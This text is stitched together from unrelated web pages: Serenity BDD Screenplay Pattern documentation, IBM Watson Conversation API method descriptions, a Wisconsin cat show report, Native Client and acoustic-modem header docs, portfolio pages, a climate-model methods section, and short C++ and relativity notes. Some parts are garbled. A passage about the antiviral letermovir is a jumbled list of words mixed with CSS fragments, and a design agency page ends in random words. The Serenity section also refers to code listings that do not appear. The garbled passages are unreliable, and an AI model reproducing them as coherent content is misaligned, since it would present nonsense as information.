The Screenplay Pattern is an approach to writing high quality automated acceptance tests based on good software engineering principles such as the Single Responsibility Principle, the Open-Closed Principle, and effective use of Layers of Abstraction. It encourages good testing habits and well-designed test suites that are easy to read, easy to maintain and easy to extend, enabling teams to write more robust and more reliable automated tests more effectively.
In this section we will look at how to use the Screenplay Pattern with Serenity BDD. We will be illustrating the Screenplay Pattern using the AngularJS implementation of the well-known TodoMVC (http://todomvc.com) project (see The Screenplay Pattern will be illustrated by some tests against the TodoMVC application). You can experiment with this application at http://todomvc.com/examples/angularjs/#/.
You can use the Screenplay Pattern with Serenity BDD in JUnit, Cucumber or JBehave. For simplicity, the examples will be using JUnit.
Introducing the Screenplay Pattern
Suppose we are implementing the “Add new todo items” feature of the ToDo MVC application. This feature could have an acceptance criteria along the lines of “Should be able to add a new todo item”. If we were testing these scenarios manually, we could create test plans like the following:
-
Should be able to add a new todo item
-
Open the application
-
Add an item called ‘Buy some milk’
-
The ‘Buy some milk’ item should appear in the todo list
-
Using the Screenplay Pattern, we could write this code very naturally like this:
One of the motivations behind the Screenplay Pattern is the highly readable test code that it produces. Even if you are not familiar with how this code is implemented under the hood, it should be quite obvious what the test is trying to demonstrate, and how it is going about it.
In addition, the Serenity reports produced for this test also reflect this narrative structure, making it easier for testers, business analysts and business people to understand what the tests are actually demonstrating. A typical Screenplay Pattern report is shown in The Serenity report documents both the intent and the implementation of the test.
The code listed above certainly reads cleanly, but it may leave you wondering how it actually works under the hood. Let’s see how it all fits together.
Screenplay Pattern tests runs like any other Serenity test
The Serenity Screenplay Pattern currently integrates with both JUnit and Cucumber. In JUnit, you use the SerenityRunner JUnit runner, as for any other Serenity JUnit tests. The full source code of the test we saw earlier is shown here:
It’s not hard to guess what this test does just by reading the code. There are however a few things here that are new. In the following sections, we will take a closer look at the details.
Layers of abstraction
Experienced automated testers use layers of abstraction to separate the intent of the test (what you are trying to achieve) from the implementation details (how you achieve it). By separating the what from the how, the intent from the implementation, layers of abstraction help make tests easier to understand and to maintain. Indeed, well defined layers of abstraction are perhaps the single most important factor in writing high quality automated tests.
In User Experience (UX) Design, we break down the way a user interacts with an application into goals, tasks and actions:
-
The goal describes what the user is trying to achieve in business terms
-
The tasks describe the high level steps the user needs to perform to achieve this goal, and
-
The actions correspond to how a user interacts with the system to perform a particular task, such as by clicking on a button or entering a value into a field.
The Screenplay Pattern in Serenity BDD provides a clear distinction between tasks and actions, which makes it easier for teams to write layered tests more consistently.
Actors and the Screenplay Pattern
Tests describe how a user interacts with the application to achieve a goal. For this reason, tests read much better if they are presented from the point of view of the user.
In the Screenplay Pattern, we call a user interacting with the system an Actor. Actors are at the heart of the Screenplay Pattern (see The Screenplay Pattern uses an actor-centric model). Each actor has a certain number of Abilities, such as the ability to browse the web or to query a restful web service. Actors can also perform Tasks such as adding an item to the Todo list. To achieve these tasks, they will typically need to interact with the application, such as by entering a value into a field or by clicking on a button. We call these interactions Actions. Actors can also ask Questions about the state of the application, such as by reading the value of a field on the screen or by querying a web service.
In Serenity, creating an actor is as simple as creating an instance of the Actor class and providing a name:
Actor james = Actor.named("James");
We find it useful to give the actors real names, rather than just to use a generic one such as "the user". Different names can be a short-hand for different user roles or personas, and make the scenarios easier to relate to.
Actors have abilities
Actors need to be able to do things to perform their assigned tasks. So we give our actors “abilities”, a bit like the superpowers of a super-hero, but in more mundane. If this is a web test, for example, we need James to be able to browse the web using a browser.
Serenity BDD plays well with Selenium WebDriver, and is happy to manage the browser lifecycle for you. All you need to do is to use the @Managed annotation with a WebDriver member variable, as shown here:
@Managed
WebDriver hisBrowser;
We can then let James use this browser like this:
james.can(BrowseTheWeb.with(hisBrowser));
To make it clear that this is a precondition for the test (and could very well go in a JUnit @Before
method), we can use the syntactic sugar method givenThat():
givenThat(james).can(BrowseTheWeb.with(hisBrowser));
Each of the actor’s abilities is represented by an Ability class (in this case, BrowseTheWeb
) which keeps track of the things the actor needs to perform this ability (for example, the WebDriver
instance used to interact with the browser). Keeping the things an actor can do (browse the web, invoke a web service…) separate from the actor makes it easier to extend the actor’s abilities. For example, to add a new custom ability, you just need to implement a new Ability
class.
Actors perform tasks
An actor needs to perform a number of tasks to achieve a business goal. A fairly typical example of a task is “adding a todo item”, which we could write as follows:
james.attemptsTo(AddATodoItem.called("Buy some milk"))
Or, if the task is a precondition, rather than the main subject of the test, we could write something like this:
james.wasAbleTo(AddATodoItem.called("Buy some milk"))
For more readability, we can also wrap the actor in a static method from the GivenWhenThen
class:
-
givenThat()
-
andThat()
-
when()
-
then()
-
and()
-
but()
For example, we could have written the last line of code like this:
givenThat(james).wasAbleTo(AddATodoItem.called("Buy some milk"))
Let’s break it down to understand what is going on. At the heart of the Screenplay Pattern, an actor performs a sequence of tasks. In Serenity, this mechanism is implemented in the Actor class using a variation of the Command Pattern, where the actor executes each task by invoking a special method called performAs() on the corresponding Task object (see The actor invokes the performAs()
method on a sequence of tasks).
performAs()
method on a sequence of tasksTasks are just objects that implement the Task
interface, and need to implement the performAs(actor)
method. In fact, you can think of any Task class as basically a performAs()
method alongside a supporting cast of helper methods.
Tasks can be created using annotated fields or builders
To do its reporting magic, Serenity BDD needs to instrument the task and action objects used during the tests. The simplest way to do arrange this is to let Serenity create it for you, just like any other Serenity step library, using the @Steps annotation. In the following code snippet, Serenity will instantiate the openTheApplication field for you, so that James can use it to open the application:
@Steps
OpenTheApplication openTheApplication;
…
james.attemptsTo(openTheApplication);
This works well for very simple tasks or actions, for example ones that take no parameters. But for more sophisticated tasks or actions, a builder pattern like the one used with the AddATodoItem earlier on is more convenient. Experienced practitioners generally like to make the builder method and the class name combine to read like an English sentence, so that the intent of the task remains crystal clear:
AddATodoItem.called("Buy some milk"))
Serenity BDD provides the special Instrumented class that makes it easy to create task or action objects using the builder pattern. For example, the AddATodoItem
class has an immutable field called thingToDo
, that contains the text to go in the new Todo item.
public class AddATodoItem implements Task {
private final String thingToDo;
protected AddATodoItem(String thingToDo) { this.thingToDo = thingToDo; }
}
We can invoke this constructor using the Instrumented.instanceOf().withProperties()
methods, as shown here:
public class AddATodoItem implements Task {
private final String thingToDo;
protected AddATodoItem(String thingToDo) { this.thingToDo = thingToDo; }
public static AddATodoItem called(String thingToDo) {
return Instrumented.instanceOf(AddATodoItem.class).withProperties(thingToDo);
}
}
High level tasks rely on other lower-level tasks or actions
To get the job done, a high level business task will usually need to call either lower level business tasks or actions that interact more directly with the application. In practice, this means that the performAs()
method of a task typically executes other, lower level tasks or interacts with the application in some other way. For example, adding a todo item requires two UI actions:
1. Enter the todo text in the text field
2. Press Return
The actual implementation uses pre-defined Action
classes (such as Enter
and Hit `shown here) that come with Serenity. `Action
classes are very similar to Task
classes, except that they focus on interacting directly with the application. Serenity provides a small number of basic Action classes for core UI interactions such as entering field values, clicking on elements, or selecting values from drop-down lists. You can find these in the net.serenitybdd.screenplay.actions
package. In practice, these provide a convenient and readable DSL that let you describe common low-level UI interactions needed to perform a task.
For example, the UI Action to enter the text defined in the thingToDo
field into the input field with an ID value of “new-todo” would look like this:
Enter.theValue(thingToDo).into("#new-todo")
However, hard-coding the CSS selector could lead to duplication. A better practice would be to refactor the selector into a simple Page Object class, like this one:
public class NewTodoForm extends PageObject {
public static String NEW_TODO_FIELD = "#new-todo";
}
Alternatively, we could use the Serenity Target class to associate a meaningful label with a CSS selector. These labels appear in the test reports and make them more readable:
public class NewTodoForm extends PageObject {
public static Target NEW_TODO_FIELD = Target.the("New Todo Field").locatedBy("#new-todo");
}
The @Step
annotation on the performAs() method is used to provide information about how the task will appear in the test reports:
@Step("{0} adds a todo item called #thingToDo")
public <T extends Actor> void performAs(T actor) {...}
Any member variables can be referred to in the @Step annotation by name using the hash (‘#’) prefix (like "#thingToDo" in the example). You can also reference the actor itself using the special "{0} placeholder. The end result is a blow-by-blow account of how each business task was performed (see Test reports show details about both tasks and UI interactions).
Action classes can access the Serenity WebDriver integration
You can also write your own Action
classes. If the actor has the BrowseTheWeb
ability, the Action class can integrate with the Serenity WebDriver support in several ways.
One approach is to use the BrowseTheWeb
class to access the WebDriver instance associated with an actor. To do this, you use the BrowseTheWeb.as(theActor)
method, as shown here:
public <T extends Actor> void performAs(T theActor) {
WebElement deleteButton = BrowseTheWeb.as(theActor).findBy(pathTo(target));
BrowseTheWeb.as(theActor).evaluateJavascript("arguments[0].click()", deleteButton);
}
Tasks can be used as building blocks by other tasks
It is easy to reuse tasks in other, higher level tasks. For example, the sample project uses a AddTodoItems task to add a number of todo items to the list, like this:
givenThat(james).wasAbleTo(AddTodoItems.called("Walk the dog", "Put out the garbage"));
This task is defined using the AddATodoItem class, as shown here:
It is quite frequent to reuse existing tasks to build up more sophisticated business tasks in this way.
Actors can ask questions about the state of the application
A typical automated acceptance test has three parts: 1. Set up some test data and/or get the application into a known state 2. Perform some action 3. Compare the new application state with what is expected.
From a testing perspective, the third step is where the real value lies – this is where we check that the application does what it is supposed to do.
In a traditional Serenity test, we would write an assertion using a library like Hamcrest or AssertJ to check an outcome against an expected value. Using the Serenity Screenplay Pattern, we express assertions using a flexible, fluent API quite similar to the one used for Tasks and Actions. In the test shown above, the assertion looks like this:
then(james).should(seeThat(theDisplayedItems, hasItem("Buy some milk")));
The structure of this code is illustrated in A Serenity Screenplay Pattern assertion
As you might expect, this code checks a value retrieved from the application (the items displayed on the screen) against an expected value (described by a Hamcrest expression). However, rather than passing an actual value, we pass a Question object. The role of a Question object is to answer a precise question about the state of the application, from the point of view of the actor, and typically using the abilities of the actor to do so.
Actors use their abilities to interact with the system
Let’s see this principle in action in another test. The Todo application has a counter in the bottom left hand corner indicating the remaining number of items (see The number of remaining items is displayed in the bottom left corner of the list).
The test to describe and verify this behavior could look like this:
The test needs to check that the number of remaining items is 1. The corresponding assertion is in the last line of the test:
then(james).should(seeThat(TheRemainingItemCount.value(), is(1)));
The Question object here is defined by the TheRemainingItemCount
class. This class has one very precise responsibility: to read the number in the remaining item count text displayed at the bottom of the todo list.
The static value()`
method is a simple factory method that returns a new instance of the TheRemainingItemCount
class. This is simply to make the code read more fluently.
Question
objects are similar to Task
and Action
objects. However, instead of the performAs()
used for Tasks and Actions, a Question class needs to implement the answeredBy(actor)
method, and return a result of a specified type. The TheRemainingItemCount
class is configured to return an Integer. Since it will be querying the web interface, we can extend the WebQuestion class to give us access to the powerful Serenity WebDriver API.
public class TheRemainingItemCount extends WebQuestion implements Question<Integer> {
@Override
public Integer answeredBy(Actor actor) {...}
}
Serenity provides a number of Interaction classes that let you query the web page using a fluent API. A simple implementation using this approach might be the following:
public Integer answeredBy(Actor actor) {
return Text.of(TodoCounter.ITEM_COUNT)
.onTheScreenOf(actor)
.asInteger();
}
There are interaction classes for most WebDriver calls, including:
-
Attribute
-
CSSValue
-
CurrentlyEnabled
-
CurrentVisibility
-
Enabled
-
JavaScript
-
Presence
-
SelectedOptions
-
SelectedStatus
-
SelectedValue
-
SelectedVisibleTextValue
-
Text
-
TheCoordinates
-
TheLocation
-
TheSize
-
Value
-
Visibility
A few examples of these methods are shown here:
Read the visible text value of a the COUNTRY
dropdown list:
String country = SelectedVisibleTextValue.of(ProfilePage.COUNTRY).onTheScreenOf(actor).value();
Determine whether the completeItemButton
checkbox is checked:
Boolean itemChecked = SelectedStatus.of(completeItemButton).onTheScreenOf(actor).as(Boolean.class);
Determine whether the completeItemButton
checkbox is checked:
Boolean itemChecked = SelectedStatus.of(completeItemButton).onTheScreenOf(actor).as(Boolean.class);
Return a list of all the elements matching the TODO_ITEMS
target:
return Text.of(ToDoList.TODO_ITEMS)
.onTheScreenOf(actor)
.asList();


The callback for a service request.
Options for the ConversationV1
constructor.
Construct a ConversationV1 object.
Options for the service.
Create counterexample.
Add a new counterexample to a workspace. Counterexamples are examples that have been marked as irrelevant input. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Create dialog node.
Create a new dialog node. This operation is limited to 500 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Create entity.
Create a new entity. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Create user input example.
Add a new user input example to an intent. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Create intent.
Create a new intent. This operation is limited to 2000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Wrapper around sendRequest
that determines whether or not IAM tokens
are being used to authenticate the request. If so, the token is
retrieved by the token manager.
service request options passed in by user
callback function to pass the reponse back to
Add entity value synonym.
Add a new synonym to an entity value. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Add entity value.
Create a new value for an entity. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Create workspace.
Create a workspace based on component objects. You must provide workspace components defining the content of the new workspace. This operation is limited to 30 requests per 30 minutes. For more information, see Rate limiting.
Delete counterexample.
Delete a counterexample from a workspace. Counterexamples are examples that have been marked as irrelevant input. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Delete dialog node.
Delete a dialog node from a workspace. This operation is limited to 500 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Delete entity.
Delete an entity from a workspace. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Delete user input example.
Delete a user input example from an intent. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Delete intent.
Delete an intent from a workspace. This operation is limited to 2000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Delete entity value synonym.
Delete a synonym from an entity value. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Delete entity value.
Delete a value from an entity. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Delete workspace.
Delete a workspace from the service instance. This operation is limited to 30 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Get counterexample.
Get information about a counterexample. Counterexamples are examples that have been marked as irrelevant input. This operation is limited to 6000 requests per 5 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Retrieve this service's credentials - useful for passing to the authorization service
Only returns a URL when token auth is used.
Get dialog node.
Get information about a dialog node. This operation is limited to 6000 requests per 5 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Get entity.
Get information about an entity, optionally including all entity content. With export=false
, this operation is limited to 6000 requests per 5 minutes. With export=true
, the limit is 200 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Get user input example.
Get information about a user input example. This operation is limited to 6000 requests per 5 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Get intent.
Get information about an intent, optionally including all intent content. With export=false
, this operation is limited to 6000 requests per 5 minutes. With export=true
, the limit is 400 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Get entity value synonym.
Get information about a synonym of an entity value. This operation is limited to 6000 requests per 5 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Get entity value.
Get information about an entity value. This operation is limited to 6000 requests per 5 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Get information about a workspace.
Get information about a workspace, optionally including all workspace content. With export=false
, this operation is limited to 6000 requests per 5 minutes. With export=true
, the limit is 20 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
List log events in all workspaces.
List the events from the logs of all workspaces in the service instance. If cursor is not specified, this operation is limited to 40 requests per 30 minutes. If cursor is specified, the limit is 120 requests per minute. For more information, see Rate limiting.
The parameters to send to the service.
List counterexamples.
List the counterexamples for a workspace. Counterexamples are examples that have been marked as irrelevant input. This operation is limited to 2500 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
List dialog nodes.
List the dialog nodes for a workspace. This operation is limited to 2500 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
List entities.
List the entities for a workspace. With export=false
, this operation is limited to 1000 requests per 30 minutes. With export=true
, the limit is 200 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
List user input examples.
List the user input examples for an intent. This operation is limited to 2500 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
List intents.
List the intents for a workspace. With export=false
, this operation is limited to 2000 requests per 30 minutes. With export=true
, the limit is 400 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
List log events in a workspace.
List the events from the log of a specific workspace. If cursor is not specified, this operation is limited to 40 requests per 30 minutes. If cursor is specified, the limit is 120 requests per minute. For more information, see Rate limiting.
The parameters to send to the service.
List entity value synonyms.
List the synonyms for an entity value. This operation is limited to 2500 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
List entity values.
List the values for an entity. This operation is limited to 2500 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
List workspaces.
List the workspaces associated with a Conversation service instance. This operation is limited to 500 requests per 30 minutes. For more information, see Rate limiting.
Get response to user input.
Get a response to a user's input. There is no rate limit for this operation.
The parameters to send to the service.
Set an IAM access token to use when authenticating with the service. The access token should be valid and not yet expired.
By using this method, you accept responsibility for managing the access token yourself. You must set a new access token before this one expires. Failing to do so will result in authentication errors after this token expires.
A valid, non-expired IAM access token
Update counterexample.
Update the text of a counterexample. Counterexamples are examples that have been marked as irrelevant input. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Update dialog node.
Update an existing dialog node with new or modified data. This operation is limited to 500 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Update entity.
Update an existing entity with new or modified data. You must provide component objects defining the content of the updated entity. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Update user input example.
Update the text of a user input example. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Update intent.
Update an existing intent with new or modified data. You must provide component objects defining the content of the updated intent. This operation is limited to 2000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Update entity value synonym.
Update an existing entity value synonym with new text. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Update entity value.
Update an existing entity value with new or modified data. You must provide component objects defining the content of the updated entity value. This operation is limited to 1000 requests per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Update workspace.
Update an existing workspace with new or modified data. You must provide component objects defining the content of the updated workspace. This operation is limited to 30 request per 30 minutes. For more information, see Rate limiting.
The parameters to send to the service.
Generated using TypeDoc
The IBM Watson Conversation service combines machine learning, natural language understanding, and integrated dialog tools to create conversation flows between your apps and your users. interfaces


Judges rank cats on health, attitude at local cat show
by Emilie BurdittSUN PRAIRIE, Wis. - The Windy Kitty Cat Club hosted a cat show Saturday, but only household pets were allowed in an effort to give pets a chance to be in the spotlight and offer owners an opportunity to see what it's like to show cats.
The ACFA Household Pet Cat Show held competitions for best dressed and best cat carrier, but beyond fashion, judges ranked cats based on health, cleanliness and attitude.
Officials at the event said bringing a cat into public is a great way to socialize it. They said it's important because taking a cat to social places in a crate makes stressful trips, such as going to the vet, less anxiety-ridden for cats.
The next Windy Kitty Cat Club cat show will be in Racine, Wisconsin, in January.


{{+bindTo:partials.standard_nacl_api}}
| uint32_t | modifier |
| uint32_t | key_code |
The PP_InputEvent_Key
struct represents a key up or key down event.
Key up and key down events correspond to physical keys on the keyboard. The actual character that the user typed (if any) will be delivered in a "character" event.
If the user loses focus on the module while a key is down, a key up event might not occur. For example, if the module has focus and the user presses and holds the shift key, the module will see a "shift down" message. Then if the user clicks elsewhere on the web page, the module's focus will be lost and no more input events will be delivered.
If your module depends on receiving key up events, it should also handle "lost focus" as the equivalent of "all keys up."
| uint32_t PP_InputEvent_Key::key_code |
This value reflects the DOM KeyboardEvent keyCode
field.
Chrome populates this with the Windows-style Virtual Key code of the key.
| uint32_t PP_InputEvent_Key::modifier |
This value is a bit field combination of the EVENT_MODIFIER flags.


--- layout: about title: About Herring Cove ---
{{ site.location }}
{{ site.email }}
Hi,
I'm Dan McCormick, a software developer in Pennsylvania. I like to divide my time between creating new and interesting websites and growing crops.
Take a look around, and let me know what you think.
Thanks,
Dan


I’m Irene Marcuello Gallardo an artist settled in Barcelona. I specialize myself in graphic design and UI.
I’m a design graduate with mention in visual creation in EINA, Barcelona. This background gave a stong toolset of visual development which allowed me to merge my knowledge with my passion, videogames.
Since then I’m keen on following my dream.
I’ve completed a master in Art and animation for AAA videogames in the UPC (Universitat Politènica de Catalunya) and put myself through some projects and experiences to test myself.
Right now I’m looking somewhere to work. If you liked my projects, please feel free to download my CV to get more detail information.
A lot of people on the universe lost their items and go to the Lost Dimension where F1ND-R will have to collect and deliver all the items in time to their clients. A videogame developed in the Global game jam 2021 under the theme of Lost and found.
KNOW MORESave the forest of Niberry fighting the darkness and bring back life! A cooperative hack n slash that will transport you to the magical adventures. A videogame developed as a final project of the master's degree in AAA videogames at the UPC
KNOW MOREIf you want to get in contact with me, please write me at<EMAIL_ADDRESS>or through my linkedin:
linkedin


the and CMV with that for letermovir DNA The was viral cytomegalovirus terminase human are pUL transplant {background its antiviral treatment clinical were margin other complex drug not {border-style against this px;} #ffffff;} disease Phase drugs novel infection resistance Letermovir activity compared use from have into studies there currently has solid Virol also but effects mechanism organ pUL, patients potential prophylaxis protein significant vitro CMV, HSCT active adverse after daily doses prevention process proteins recipients study Drug This action benzimidazole due highly letermovir, levels mutations placebo px; recipients. replication strains subunit such termination translocation trial two when which {font-family GCV GCV, Its approved common font-size gene high kidney multidrug-resistant only portal received serum specific than these three BDCRB CMV. Infect These Transplant appears associated been capsid cell compound developed different dose double; functional group herpesviruses interaction lower may nuclear reported results safety side stem structure trials unique (which Agents CDV, Dis However, UL, allogeneic anti-CMV any border-color border-width cleavage data day does drugs. during effect encoded exhibit further genome had healthy importin inhibitor inhibitors interacts load low most packaging part patient profile promising protein), site solid; synthesis. their through using versus who {font-style {font-weight BAY C-terminal Chemother Goldner Tmax among antivirals bold bone can complex. concentration courier; cross-resistance days development effective efficacy em; essential evaluated failure finding given groups hematopoietic immune inhibition inhibits interactions known letermovir. lung major management marrow maturation multiple nuclease often open potent presented pt;} rate resistant risk sequence showed small standard subunits suggesting unit-length used very vivo will would


The Container Family of controls, including Overlay and all of its subclasses (Panel, Tooltip, Dialog, SimpleDialog), can implement built-in transition effects using the effect
property and the ContainerEffect object. This example demonstrates the fade and slide transitions provided with Container.
Use the buttons below to show and hide Overlays, noting their transition treatments as they appear and disappear.


Observational temperature time-series are taken from a spatially in-filled version of the Met Office Hadley Centre HadCRUT4 dataset [ 20] (which we refer to as HadCRUT4-CW). This 100 member ensemble of hybrid air/sea temperatures uses a statistical technique to in-fill unobserved regions in the original HadCRUT4 product [ 21] so as to achieve complete global coverage and enable a like-for-like comparison with global ESM output [ 22]. Observational data are used at annual time resolution up until the end of 2016. The HadCRUT4-CW ensemble allows for a systematic sampling of observational uncertainty; however, methodological choices between different observational product represent another source of uncertainty. As a sensitivity test, we also conduct analysis using the best-estimate warming from the Berkeley Earth dataset [ 23], which shows higher warming over the historical period (see the electronic supplementary material).
Observed cumulative emission estimates are taken from the 2016 Global Carbon Project (GCP) dataset [ 24]. Observational uncertainties are accounted for using an ensemble created by independent sampling of uncertainties in fossil fuel and industry emissions, and land-use emissions as described in [ 24]. We also conduct sensitivity analysis using the 2017 GCP dataset [ 25], which indicates substantially higher historical land-use change emissions (see the electronic supplementary material).
A history of effective radiative forcing (ERF), and its uncertainty, is required to estimate the fraction of observed warming associated with both human activities and that associated specifically with CO 2 emissions only. Best-estimate time-series of historical ERF for the individual components of anthropogenic and natural radiative forcing (e.g. CO 2, other well-mixed GHGs, aerosols and volcanic) are taken from Myhre et al. [ 26] and have been extended using observational data up to the end of 2016 as in [ 27]. The central estimate of ERF from non-CO 2 GHGs has been updated to incorporate a recent upward revision to the methane radiative forcing proposed in [ 28]. Volcanic forcing for the recent period is taken from Andersson et al. [ 29], and solar forcing using data from Kopp [ 30].
Historical ERF uncertainty is sampled by multiplying the best-estimate forcing time-series for a given component of ERF by draws from a distribution of the fractional uncertainty in that component's 2011 forcing, as assessed in IPCC-AR5 [ 26]. Individual forcing components are sampled independently and then combined to create a distribution of uncertainty in total historical ERF on the climate system (see electronic supplementary material, figure S1).
The ESM data used in this paper are taken from experiments conducted under the 5th Coupled Model Intercomparison Project—CMIP5 [ 31]. We use results from the historical simulation as well as from the Representative Concentration Pathway (RCP) scenarios [ 32, 33] and the idealized 1%/yr atmospheric CO 2 concentration increase experiment [ 34]. The list of ESMs used in this analysis is as follows: CESM1-BGC, CanESM2, GFDL-ESM2G, GFDL-ESM2M, HadGEM2-CC, HadGEM2-ES, IPSL-CM5A-LR, IPSL-CM5A-MR, IPSL-CM5B-LR, MIROC-ESM-CHEM, MIROC-EMS, MPI-ESM-LR, NorESM1-ME, bcc-csm1–1 and inmcm4. Models for which data are not available for the 1%/yr experiment are omitted from analysis that involves the use of those experiments (§3b(i)). In comparing the ESMs against the observational record, we consider the effect of observational processing on the modelled temperature anomalies to allow a like-for-like comparison with observational products. ‘Blended’ time-series of globally complete simulated warming are taken from [ 22], which processed model output using a blend of surface air-temperatures (over land) and sea-surface temperatures (over ocean), similar to as in observational products. This enables a direct ‘like-for-like’ comparison between globally complete model output and observational products that are statistically in-filled to address observational coverage gaps in order to estimate a global mean value. We use the RCP8.5 scenario [ 35] when comparing ESMs to observations over the post-2005 period.
Diagnosed ESM CO 2 emissions from Jones et al. [ 33] (historical and RCP experiments) and Gillett et al. [ 2] (1%/yr experiment) are used throughout. Land-use emissions have been added, where required, identically to as in [ 36]. Time-series of both warming and cumulative emissions for all RCP ESM simulations are smoothed with a 10 year centred moving average to remove modes of unforced natural variability and help isolate the externally forced signal (1%/yr ESM simulations are smoothed with a 15 year running mean).


|
DESERT
3.0
|
Go to the source code of this file.
Classes | |
| class | MdriverS2C_EvoLogics |
Macros | |
| #define | DROPBUFFER_TYPE 4 |
Typedefs | |
| typedef enum STATES_RX | rx_states_t |
| typedef enum STATES_TX | tx_states_t |
Header of the class derived from UWMdriver to interface ns2/NS-Miracle with the S2C EvoLogics acoustic modems.
Definition in file mdriverS2C_EvoLogics.h.
| #define DROPBUFFER_TYPE 4 |
Definition at line 46 of file mdriverS2C_EvoLogics.h.
| typedef enum STATES_RX rx_states_t |
Definition at line 71 of file mdriverS2C_EvoLogics.h.
| typedef enum STATES_TX tx_states_t |
Definition at line 73 of file mdriverS2C_EvoLogics.h.
| enum STATES_RX |
| Enumerator | |
|---|---|
| RX_STATE_IDLE | |
| RX_STATE_RX_IM | |
| RX_STATE_RX_PBM | |
| RX_STATE_RX_BURST |
Definition at line 48 of file mdriverS2C_EvoLogics.h.
| enum STATES_TX |
Definition at line 55 of file mdriverS2C_EvoLogics.h.


AMAIZING PEOPLE ARE MAKING AMAIZING DESIGNS IN A FUN ENVIROMENT
When you work with us, you are part of a team of commited collaborators, All aspects pf our software development process are intergrated, inateractive and agile.
Our approach unifies design, development and product management to create expceptional products.
We start each project by understanding your business goals, the user`s need and the product requirements
Then we help transite them into effective and elegant solutions.
Before we sign a contract or write a line of code our team will spend the necessary time needed to understand your product vision
The outcome of this scoping session ina proposal or high-level statement of work.
Based on your requirements, we can provide acomplete offering or just the pieces you need.
Our design practice offers a full range of services including brand strategy, interaction and visual design and user experience testing.
Throughout your project, our designers create and implement visual design and workflows, solicit user feedback and work with you to make sure what gets built is what is needed.
DESIGN
All engineers are fluent in the latest enterprise, mobile and web development technologies.
They collaborate with your team to write, and improve code on a daily basis, using proven practices such as test-driven development and pair programming.
DEVELOPMENT
All engineers are fluent in the latest enterprise, mobile and web development technologies.
They collaborate with your team to write, and improve code on a daily basis, using proven practices such as test-driven developments and pair programming.
PRODUCT MANAGEMENT
BLACK STUDIO
ONTARIO
SECURITY
PYRAMIDS
JIM CARREY
HAVE A
GOOD DAY
CALCULATOR
BURNED
GIRAFFE
RESTAURANT


Direct initialization is with parantheses or braces (given there is no equivalent constructor taking an initializer_list):
Object object(argument);
Object object{argument};
Copy initialization works with assignment = (but still calls constructor):
Object object = argument;
You are allowed to call explicit constructors with direct-initialization, but not copy-initialization.


Please use firefox for fully functionalities because you can see which chess lost immediately after each drag & drop.
If you use google chrome, please click on the < td > after each drag & drop to see which chess lost.
If you want the timeout alert, please uncomment line 314 in the source code and set the timer and click "start" before play. maxium can set to 99 seconds.


Climate Change Players is a visualization which explores how the countries of the world contribute to world emissions. It's purpose is to let it's users make quick correlations between countries and the respective attribute those countries have, such as: different emissions, population, GDP, etc You can use the selector to choose the data you wish to see mapped to the globe, simply drag your mouse over the years you want to see for that data. Please note grey countries do not have data. Once you've chosen your data, you can select countries that you're interested in and compare them below. Again you can select the data you want to compare here. Climate Change Players lets you draw your own conclusions and shows how different countries are effecting the world's climate


Home
Photography
Blog Posts
Content
About
Hello Everyone!
I'm Rahul Pathak
A Newbie
In The World Of Website Development & UX Designing.


Format: EditTextOffset x y,
Example: EditTextOffset 0.01 0.0,
Purpose: Offsets the Text inside the Editbox, the Text can not leave the EditBox using this. If it would leave the text becomes "hidden".
Used in: EDITBOX, GLUEEDITBOX, SLASHCHATBOX


Special relativity was developed out of two postulates [Schutz2009]
Using these two postulates, where the first key definition is interval of events squared
we can derive basically all the relations we need. Some other intuitions will also be applied to the derivations.
Using a spacetime diagram, we can prove that this is invariant under transformation of frames [Schutz2009].
Hyperbolic Space
If anyone realizes that spacetime is in fact hyperbolic space by looking at the expression of intervals \(\Delta s^2\), the transformation is determined.
As we know the invariant quantity of the physical laws, the transformation of vectors can be found out of it, which is basically a rotation in hyperbolic space.
The metric in Eq. (1) is ‘derived’ from the interval.
To write it down, there are different convention. We choose the signature \(+2\) metric in special relativity
In most cases, we use natural unit \(c=1\).
d’Alembert operator
